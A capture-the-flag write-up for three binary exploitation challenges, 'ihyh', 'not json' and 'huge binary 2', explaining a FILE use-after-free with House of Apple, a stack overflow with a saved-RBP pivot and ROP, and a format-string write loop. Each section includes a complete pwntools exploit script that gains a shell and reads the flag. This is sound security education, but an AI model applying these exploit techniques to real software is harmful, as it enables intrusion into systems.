K17 CTF 2026 Writeups: ihyh, not json, and huge binary 2

1. Challenge description#

Description: “encouraging hatred, because love hurt me”
Service: nc chal.secso.cc 4007

The program manages hate notes and keeps a history file. The history feature also keeps a global FILE *, and that pointer is where the bug lives.

2. TL;DR#

view_history() closes the global history stream but never sets the pointer to NULL. A note allocation can therefore reclaim the freed FILE object. The reclaimed object first leaks _IO_wfile_jumps, which gives the libc base. A second controlled FILE reclaim exposes the safe-linked heap value. A final House of Apple fake stream makes rewind(fp) dispatch to system, with the fake stream beginning with a shell command.

3. Files and initial observations#

Provided files:

1
ihyh/Dockerfile
2
ihyh/chal

Initial binary observations:

• 64-bit x86-64 PIE executable, dynamically linked.
• NX and stack canaries enabled in the ordinary note-management functions.
• hate is a ten-entry global table at PIE offset 0x4040; each entry holds a note pointer and a length.
• fp is a global FILE * at PIE offset 0x40e0.
• Main operations are create, edit, delete, view, and view_history.
• create accepts note sizes from 1 through 512.
• The Dockerfile uses Ubuntu 22.04, so the relevant target libc family is glibc 2.35.

4. Detailed problem analysis#

The history function behaves conceptually like this:

1
if (fp == NULL)
2
    fp = fopen("/tmp/log.txt", "a+");
3

4
rewind(fp);
5
while ((c = fgetc(fp)) != EOF)
6
    putchar(c);
7

8
clearerr(fp);
9
fclose(fp);
10
/* fp is incorrectly left non-NULL here. */

After the first history request, fp is dangling. The allocator can return the same chunk to create:

1. A 464-byte note is normalized by glibc into the same 0x1e0 chunk class as the approximately 472-byte internal FILE allocation.
2. Supplying 464 A bytes leaves the final eight bytes of the reclaimed chunk untouched.
3. view(0) prints the note with %s, so those untouched bytes disclose the low six bytes of the embedded _IO_wfile_jumps pointer. This is a %s C-string over-read, not format-string exploitation.
4. Subtracting the supplied libc symbol offset identifies libc.

The freed note is then reclaimed with a minimally valid fake FILE so that a second view_history can safely run through rewind, fgetc, and fclose. When that fake stream is closed, the note table still contains its pointer. Viewing the dangling note discloses tcache’s safe-linked encoding of a NULL next pointer. For a chunk address heap_chunk, that value is:

1
encoded_null = heap_chunk >> 12

The observed layout places the fake stream at heap_page + 0x2a0, so the heap address is reconstructed as:

1
heap_chunk = (encoded_null << 12) + 0x2a0

The request calculation is 464 + 8 bytes for the allocator header, rounded to the 0x1e0 size class. A FILE allocation of about 472 user bytes lands in that same class. On x86-64, a canonical user-space pointer has two zero high bytes, so the over-read exposes the lower six bytes that are enough to rebuild the page-aligned libc base.

The first reclaimed FILE consistently appeared at heap_page + 0x2a0 under the tested container. That is the source of the final +0x2a0, rather than a generic safe-linking constant.

The final fake FILE uses a glibc 2.35 House of Apple layout. The adjusted main vtable sends rewind through the wide-file path, where the fake wide-data object supplies system as the call target. The first bytes of the fake stream are " sh", so the call receives a shell command.

The fields are arranged like this:

1
fake FILE +0x88  -> _lock
2
          +0xa0  -> _wide_data = chunk + 0xe0
3
          +0xd8  -> _IO_wfile_jumps - 0x30
4

5
wide_data +0xe0  -> fake wide vtable = chunk + 0x160
6
wide vtable+0x68 -> system
7

8
rewind(fp)
9
  -> _IO_wfile_seekoff
10
  -> wide-file overflow / allocation path
11
  -> fake wide-vtable entry
12
  -> system(fp)

The -0x30 adjustment is what places the wide-file function in the slot used by rewind; the two final writes at 0x1c0 and 0x1c8 provide the fake wide vtable and its system entry.

5. Exploit path#

6. Exploitation walkthrough / flag recovery#

1
fake = flat({
2
    0x00: 0xfbad0000,
3
    0x70: 0xffffffff,
4
    0x88: lock,
5
    0xa0: wide,
6
    0xc0: 0,
7
    0xd8: libc_base + libc.sym["_IO_file_jumps"],
8
}, length=464, filler=b"\0")

1
apple = flat({
2
    0x00: b"  sh\0",
3
    0x20: 0,
4
    0x28: 1,
5
    0x38: 0,
6
    0x88: lock,
7
    0xa0: heap_chunk + 0xe0,
8
    0xc0: 1,
9
    0xd8: libc_base + libc.sym["_IO_wfile_jumps"] - 0x30,
10
    0x1c0: heap_chunk + 0x160,
11
    0x1c8: libc_base + libc.sym["system"],
12
}, length=472, filler=b"\0")

1
cat /flag; exit

1
K17{50pp1n355_0f_l0v3_f1nd1ng_1t5_way_1n_f1l35!}

7. solve.py#

Save this code as solve.py. It needs pwntools and the matching glibc as ./libc.so.6.

1
#!/usr/bin/env python3
2
from pwn import *
3

4
context.arch = "amd64"
5
context.log_level = "info"
6
HOST, PORT = args.HOST or "chal.secso.cc", int(args.PORT or 4007)
7
LIBC = args.LIBC or "./libc.so.6"
8

9
def start():
10
    return process(args.BIN or "./chal") if args.LOCAL else remote(HOST, PORT)
11

12
def menu(io, choice):
13
    io.sendlineafter(b">> ", str(choice).encode())
14

15
def create(io, size, data):
16
    menu(io, 1)
17
    io.sendlineafter(b"person?\n", str(size).encode())
18
    io.sendafter(b"them\n", data)
19

20
def view(io, index=0):
21
    menu(io, 4)
22
    io.sendlineafter(b"view?\n", str(index).encode())
23
    io.recvuntil(b"Here is your hate note: ")
24
    return io.recvuntil(b"\n1. New", drop=True)
25

26
libc = ELF(LIBC, checksec=False)
27
io = start()
28
try:
29
    menu(io, 5)
30
    create(io, 464, b"A" * 464)
31
    wfile = u64(view(io)[464:470] + b"\0\0")
32
    libc.address = wfile - libc.sym["_IO_wfile_jumps"]
33
    lock = libc.sym["_IO_2_1_stdout_"] + 0x12f0
34
    wide = libc.sym["_IO_2_1_stdout_"] - 0xde0
35

36
    menu(io, 3)
37
    io.sendlineafter(b"history)\n", b"0")
38
    fake = flat({
39
        0x00: 0xfbad0000,
40
        0x70: 0xffffffff,
41
        0x88: lock,
42
        0xa0: wide,
43
        0xc0: 0,
44
        0xd8: libc.sym["_IO_file_jumps"],
45
    }, length=464, filler=b"\0")
46
    create(io, 464, fake)
47
    menu(io, 5)
48
    chunk = (u64(view(io)[:5].ljust(8, b"\0")) << 12) + 0x2a0
49

50
    apple = flat({
51
        0x00: b"  sh\0",
52
        0x20: 0,
53
        0x28: 1,
54
        0x38: 0,
55
        0x88: lock,
56
        0xa0: chunk + 0xe0,
57
        0xc0: 1,
58
        0xd8: libc.sym["_IO_wfile_jumps"] - 0x30,
59
        0x1c0: chunk + 0x160,
60
        0x1c8: libc.sym["system"],
61
    }, length=472, filler=b"\0")
62
    create(io, 472, apple)
63
    menu(io, 5)
64
    io.sendline(b"cat /flag; exit")
65
    print(io.recvrepeat(3).decode(errors="replace"), end="")
66
finally:
67
    io.close()

Run it from the directory containing the matching libc then u will get the flag:

The fragile invariants are the 0x1e0 allocator class, the fake stream’s valid lock/wide-data pointers, and the safe-link heap offset. Each was checked against the supplied binary/libc pair and then verified remotely.

8. What we learned#

• The short-size memset stays inside glibc’s minimum chunk area.
• fclose leaves a dangling global pointer, but the replacement stream still needs valid libc fields and the right vtable.
• A %s C-string over-read discloses allocator residue when the reclaimed object has no NUL at the requested boundary.
• The working sequence is libc leak, fake-stream validation, heap leak, then the final FSOP payload.

9. References and further reading#

• glibc FILE internals: https://sourceware.org/git/?p=glibc.git;a=blob;f=libio/libioP.h;hb=HEAD
• CTF FILE-structure notes: https://ctf-wiki.org/en/pwn/linux/user-mode/io-file/introduction/
• glibc malloc internals: https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;hb=HEAD
• pwntools documentation: https://docs.pwntools.com/en/stable/

1. Challenge description#

Description: “JSON is way too complex, so I made my own subset of it.”
Service: nc chal.secso.cc 4003

The challenge presents a recursive custom JSON-like parser. As it parses each entry, the program prints the key and description. The key sanitizer appears to enforce a length limit, but its counter and string length diverge.

2. TL;DR#

The sanitizer appends non-alphanumeric characters but decrements its length counter afterward. Thirty-nine ! characters plus four A bytes reach the saved frame without advancing the checked counter enough. The resulting %s print leaks the canary, stack, and PIE.

Recursive frames are 0x70 bytes apart. A fixed 13-frame payload lets H change the low byte of a parent saved RBP and pivot through leave; ret. One puts@GOT leak gives libc; the second round calls system("/bin/sh").

3. Files and initial observations#

Provided files:

1
notjson/Dockerfile
2
notjson/chal

The file is an x86-64 PIE ELF with stack canaries and NX. Although the prompt uses JSON language, the target is a native parser reached over netcat.

The parser’s frame allocates a 40-byte key/description buffer at rbp-0x30. The short ROP chain uses pie+0x11e8 for pop rdi ; ret, pie+0x11fc for leave ; ret, pie+0x1030 for puts@PLT, and pie+0x3f88 for puts@GOT.

4. Detailed problem analysis#

The key loop effectively does the following:

1
while (count <= 0x26) {
2
    c = getchar();
3
    if (c == '|')
4
        break;
5

6
    key[strlen(key)] = c;
7
    count++;
8

9
    if (!isalnum(c) && c != '_') {
10
        key[strlen(key) - 1] = '_';
11
        count--;
12
    }
13
}

For !, the string grows by one underscore but count returns to its old value. The compact leak uses 39 ! bytes followed by four A bytes. The first A fills the last key-buffer byte, the next overwrites the canary’s low byte, and the remaining bytes bridge the zero bytes in the saved frame. The | delimiter then ends key input, and the following %s print exposes the canary, saved RBP, and saved return address. After recvuntil(b"____A"), the fixed slices leak[1:8], leak[8:14], and leak[16:22] select those values.

The description parser allows 40 bytes and writes its terminator at offset 40. That terminator restores the canary’s low byte to zero before the parser frame returns. This is what makes the leak-and-pivot payload survive the stack check.

The leak is parsed as:

1
canary = u64(b"\0" + leak[1:8])
2
rbp = u64(leak[8:14] + b"\0\0")
3
pie = u64(leak[16:22] + b"\0\0") - 0x161a

Each recursive frame changes RBP by 0x70. The fixed payload uses 13 frames; in the tested binary, the deepest key’s H changes a zero low byte of the parent saved RBP to 0x48. The parent description then supplies the pivot:

1
parent saved RBP: ...00  --H--> ...48
2
                                  |
3
                                  +-> controlled description buffer
4

5
leave: rsp = rbp, rbp = [rsp]
6
ret:   rip = [rsp + 8]

The ROP description is placed at rbp - 0x430, and the pivot description is canary || (rbp - 0x430) || leave; ret. The 40-byte description in the deepest frame writes its terminator over the canary’s low byte before the stack check.

5. Exploit path#

6. Exploitation walkthrough / flag recovery#

1
leak_prefix = b'{ "' + b'!' * 39 + b'AAAA|' + b'A' * 40 + b'": {}, '

1
pivot = flat(canary, rbp - 0x430, pie + 0x11fc)

1
pop rdi ; ret
2
puts@GOT
3
puts@PLT
4
main

1
libc_base = leaked_puts - 0x805a0

1
pop rdi ; ret
2
libc + 0x1a6ea4       # /bin/sh
3
libc + 0x53110        # system

1
K17{b3cau$e_rbp_taste$_bett3r_th@n_key}

7. solve.py#

Save this code as solve.py; it needs pwntools and the supplied chal.

1
#!/usr/bin/env python3
2
from pwn import *
3
import re
4

5
HOST, PORT = "chal.secso.cc", 4003
6
PUTS_OFF, BINSH_OFF, SYSTEM_OFF = 0x805a0, 0x1a6ea4, 0x53110
7
context.log_level = "info"
8
exe = context.binary = ELF(args.EXE or "./chal", checksec=False)
9
DESCRIPTION = b"Description: " + b"A" * 40 + b"\n"
10

11
def start():
12
    return process(exe.path) if args.LOCAL else remote(HOST, PORT)
13

14
def exploit(io, chain_fn):
15
    io.recvuntil(b"Enter your JSON:\n")
16
    io.send(b'{ "' + b"!" * 39 + b"AAAA|" + b"A" * 40 + b'": {}, ')
17
    io.recvuntil(b"____A")
18
    leak = io.recvn(32)
19
    canary = u64(b"\0" + leak[1:8])
20
    rbp = u64(leak[8:14] + b"\0\0")
21
    exe.address = u64(leak[16:22] + b"\0\0") - 0x161a
22

23
    rop = ROP(exe)
24
    chain_addr = rbp - 0x430
25
    pivot = flat(canary, chain_addr, rop.find_gadget(["leave", "ret"])[0])
26
    chain = flat(0x6767, chain_fn(rop))
27
    assert b'"' not in pivot + chain
28

29
    payload = b'"a|b": { ' * 9
30
    payload += b'"r|' + chain + b'": { '
31
    payload += b'"p|' + pivot + b'": { '
32
    payload += b'"a|b": { '
33
    payload += b'"' + b"!" * 39 + b"AA\x48|" + b"A" * 40
34
    payload += b'": { ' + b" }" * 3
35
    io.send(payload)
36
    io.recvuntil(DESCRIPTION)
37

38
def solve():
39
    io = start()
40
    try:
41
        chain = lambda r: flat(r.find_gadget(["pop rdi", "ret"])[0],
42
                                exe.got["puts"], exe.plt["puts"], exe.symbols["main"])
43
        exploit(io, chain)
44
        puts = u64(io.recvn(6) + b"\0\0")
45
        libc = puts - PUTS_OFF
46

47
        chain = lambda r: flat(r.find_gadget(["ret"])[0],
48
                                r.find_gadget(["pop rdi", "ret"])[0],
49
                                libc + BINSH_OFF, libc + SYSTEM_OFF)
50
        exploit(io, chain)
51
        io.sendline(b"cat /flag; exit")
52
        return io.recvall(timeout=5)
53
    finally:
54
        io.close()
55

56
for attempt in range(16):
57
    try:
58
        output = solve()
59
        match = re.search(rb"K17\{[^\r\n}]*\}", output)
60
        if match:
61
            print(match.group().decode())
62
            break
63
    except (EOFError, PwnlibException, AssertionError) as exc:
64
        log.warning("attempt %d failed: %s", attempt + 1, exc)

8. What we learned#

• Check the binary before trusting the JSON-themed name; the target is an ELF parser.
• Thirty-nine punctuation bytes plus the extra A bytes expose the canary, saved RBP, and return address in one %s output.
• A fixed 13-frame layout is enough; the H byte changes one saved-RBP byte, and the description terminator restores the canary.
• One puts leak supplies the libc base. The second round only needs the aligned pop rdi ; ret / system chain.

9. References and further reading#

• printf(3) and %s behavior: https://man7.org/linux/man-pages/man3/printf.3.html
• System V AMD64 ABI: https://refspecs.linuxbase.org/elf/x86_64-abi-0.99.pdf
• pwntools ROP documentation: https://docs.pwntools.com/en/stable/rop/rop.html
• Linux stack and ELF exploitation notes: https://ctf-wiki.org/en/pwn/linux/user-mode/stackoverflow/x86/basic-rop/

1. Challenge description#

Description: “I AM PLEASE TO REPORT THAT THE UNITED STATES OF CTF HAS BUILT AN EVEN HUGER BINARY. THANK YOU FOR YOUR ATTENTION TO THIS MATTER”
Service: nc chal.secso.cc 4005

The program asks for an index and two short strings, then echoes both strings. The strings are passed directly to printf, making the “huge” binary a very small but unusually constrained format-string challenge.

2. TL;DR#

The index is an unchecked stack-byte read. The first and second 31-byte inputs are both format strings. Positional arguments expose a stack-pointer graph, libc’s return address, and PIE’s main address. A halfword write changes the return low byte so execution re-enters main, giving repeated format-string rounds.

Those rounds write a three-entry ret2libc chain into an unused area of the initial stack. A final halfword write changes the saved return to libc’s pop rsp ; ret, pivots into the chain, and calls system("/bin/sh").

3. Files and initial observations#

Provided files:

1
huge-binary-2/Dockerfile
2
huge-binary-2/chal
3
huge-binary-2/libc.so.6

The supplied libc identifies itself as:

1
GNU C Library (Debian GLIBC 2.41-12+deb13u2)

The executable is x86-64 PIE with NX, partial RELRO, and no stack canary. The index read is in main+0x7f, and main begins at PIE offset 0x1169. The two inputs use %31s, so each format string must remain at most 31 bytes. That constraint is why the exploit writes halfwords and reuses the main loop. The bundled libc supplies system at 0x53110, pop rsp ; ret at 0x285d8, pop rdi ; ret at 0x2a145, and /bin/sh at 0x1a5ea4.

4. Detailed problem analysis#

The index path executes the equivalent of:

1
scanf("%d", &index);
2
printf("Your lucky number is 0x%x", (unsigned char)rbp[index - 1]);

There is no bounds check. The expression is rbp[index - 1], so index 258 reads rbp + 257. In the observed frame this byte is the low byte needed to retarget the stack pointer used by positional slot 53. The two later calls are equivalent to:

1
printf(first_input);
2
printf(second_input);

The first format string uses positional arguments to:

• write a low halfword through slot 23;
• leak the libc return through slot 19 (%19$p);
• leak PIE main through slot 21 (%21$p).

The slot roles came from dumping positional arguments with %1$p through %60$p, then checking each candidate against the stack and libc mappings:

A short discovery probe such as %19$p|%20$p|%21$p reveals the first three roles. Repeating it in short batches covers the remaining positional slots without exceeding the 31-byte input limit.

The write path is indirect:

1
slot 20 -> stack cell holding a pointer -> slot 50 -> chosen target
2
slot 53 -> saved return byte, restored to 0x8e after each round

The second format string writes 0x8e through slot 53. The ordinary return from the libc startup wrapper is at libc offset 0x29ca8; changing its low byte from 0xa8 to 0x8e re-enters the code that calls main. Each successful round therefore creates another pair of format-string calls.

The re-entry write is one byte:

1
saved return: ...a8  --%53$hhn-->  ...8e
2
                                  |
3
                                  +--> code path that calls main again

Slot 20 can be redirected to an arbitrary stack location with %20$hn, and slot 50 can then write a 16-bit value to that location. Slot 53 remains the permanent pointer used to restore the main-loop return byte after each write. Three low halfwords are enough for each canonical libc pointer because the upper halfwords already contain the matching canonical zero/high address bytes.

The final chain is stored at a safe stack offset:

1
libc + 0x2a145       pop rdi ; ret
2
libc + 0x1a5ea4      /bin/sh
3
libc + 0x53110       system

The saved return is finally changed to libc + 0x285d8, which pops the chain address into RSP and begins the prepared ROP sequence.

5. Exploit path#

6. Exploitation walkthrough / flag recovery#

1
byte1 = (lucky - 1) & 0xff
2
return_pointer = (byte1 << 8) | ((attempt_low_nibble << 4) | 8)

1
%<return_pointer>c%23$hnL%19$pP%21$p

1
%142c%53$hhn

1
libc_base = leaked_libc_return - 0x29ca8
2
pie_base = leaked_main - 0x1169

1
first input:  %<address_low16>c%20$hn
2
second input: %<value_low16>c%50$hn[%delta%c]%53$hhn

1
libc_base + 0x2a145   # pop rdi ; ret
2
libc_base + 0x1a5ea4  # /bin/sh
3
libc_base + 0x53110   # system

1
cat /flag*; exit

1
K17{turn$_0ut_siz3_do3s_m@tter}

7. solve.py#

Save this code as solve.py. It needs pwntools and tries the 16 aligned low-nibble possibilities across at most 32 connections.

1
#!/usr/bin/env python3
2
from pwn import *
3
import re
4
import os
5

6
HOST, PORT = "chal.secso.cc", 4005
7
LIBC_RETURN, MAIN = 0x29ca8, 0x1169
8
POP_RSP, POP_RDI, BIN_SH = 0x285d8, 0x2a145, 0x1a5ea4
9
SYSTEM = 0x53110
10
DEBUG = bool(os.getenv("DEBUG"))
11
INDEX = b"Enter an index: "
12
FIRST = b"first input to be echoed: "
13
SECOND = b"second input to be echoed: "
14
context.log_level = "info"
15

16
def width(value):
17
    return value or 0x10000
18

19
def write_half(io, target, value):
20
    io.sendline(b"0")
21
    io.recvuntil(FIRST)
22
    io.sendline(f"%{width(target)}c%20$hn".encode())
23
    io.recvuntil(SECOND)
24
    payload = f"%{width(value)}c%50$hn".encode()
25
    delta = (0x8e - value) & 0xff
26
    if delta:
27
        payload += f"%{delta}c".encode()
28
    io.sendline(payload + b"%53$hhn")
29
    io.recvuntil(INDEX)
30

31
def solve(attempt):
32
    io = remote(HOST, PORT)
33
    try:
34
        io.sendlineafter(INDEX, b"258")
35
        banner = io.recvuntil(FIRST)
36
        lucky = int(re.search(rb"lucky number is 0x([0-9a-f]+)", banner).group(1), 16)
37
        return_pointer = (((lucky - 1) & 0xff) << 8) | ((attempt << 4) | 8)
38

39
        first = f"%{width(return_pointer)}c%23$hnL%19$pP%21$p".encode()
40
        assert len(first) <= 31
41
        io.sendline(first)
42
        io.recvuntil(SECOND)
43
        io.sendline(b"%142c%53$hhn")
44
        output = io.recvuntil(INDEX)
45
        libc_return, main = (int(x, 16) for x in
46
                             re.search(rb"L(0x[0-9a-f]+)P(0x[0-9a-f]+)", output).groups())
47
        libc, pie = libc_return - LIBC_RETURN, main - MAIN
48

49
        rbp = (return_pointer - 8) & 0xffff
50
        chain = (rbp + 0x180) & 0xffff
51
        for offset, pointer in ((0, libc + POP_RDI),
52
                                (8, libc + BIN_SH),
53
                                (16, libc + SYSTEM)):
54
            for part in range(3):
55
                value = (pointer >> (16 * part)) & 0xffff
56
                write_half(io, chain + offset + 2 * part, value)
57

58
        write_half(io, (rbp + 16) & 0xffff, chain)
59
        io.sendline(b"0")
60
        io.recvuntil(FIRST)
61
        io.sendline(b"A")
62
        io.recvuntil(SECOND)
63
        io.sendline(f"%{width((libc + POP_RSP) & 0xffff)}c%53$hn".encode())
64
        io.sendline(b"cat /flag*; exit")
65
        output = io.recvall(timeout=10)
66
        match = re.search(rb"K17\{[^\r\n}]*\}", output)
67
        if match:
68
            log.info("libc=%#x pie=%#x", libc, pie)
69
            return match.group().decode()
70
    finally:
71
        io.close()
72

73
for attempt in range(32):
74
    try:
75
        flag = solve(attempt)
76
        if flag:
77
            print(flag)
78
            break
79
    except (EOFError, PwnlibException, AttributeError, AssertionError) as exc:
80
        if DEBUG:
81
            log.warning("attempt %d failed: %s", attempt + 1, exc)

8. What we learned#

• The binary is small; the “huge” part is the input restriction and the need to reuse main.
• The executable has no pop rdi ; ret, so the libc leak supplies both the gadget and the final pop rsp ; ret pivot.
• The 31-byte limit makes the saved-return byte loop necessary for repeated halfword writes.
• Wrong low-nibble candidates terminate a connection, so the 32 tries are a bounded alignment search with enough retries for ASLR variation.
• A zero halfword needs a count of 65536 because %0c adds no output.

9. References and further reading#

• printf(3) positional arguments and format specifiers: https://man7.org/linux/man-pages/man3/printf.3.html
• pwntools format-string helpers: https://docs.pwntools.com/en/stable/fmtstr.html
• pwntools ROP documentation: https://docs.pwntools.com/en/stable/rop/rop.html
• pwntools ret2libc patterns: https://docs.pwntools.com/en/stable/rop/rop.html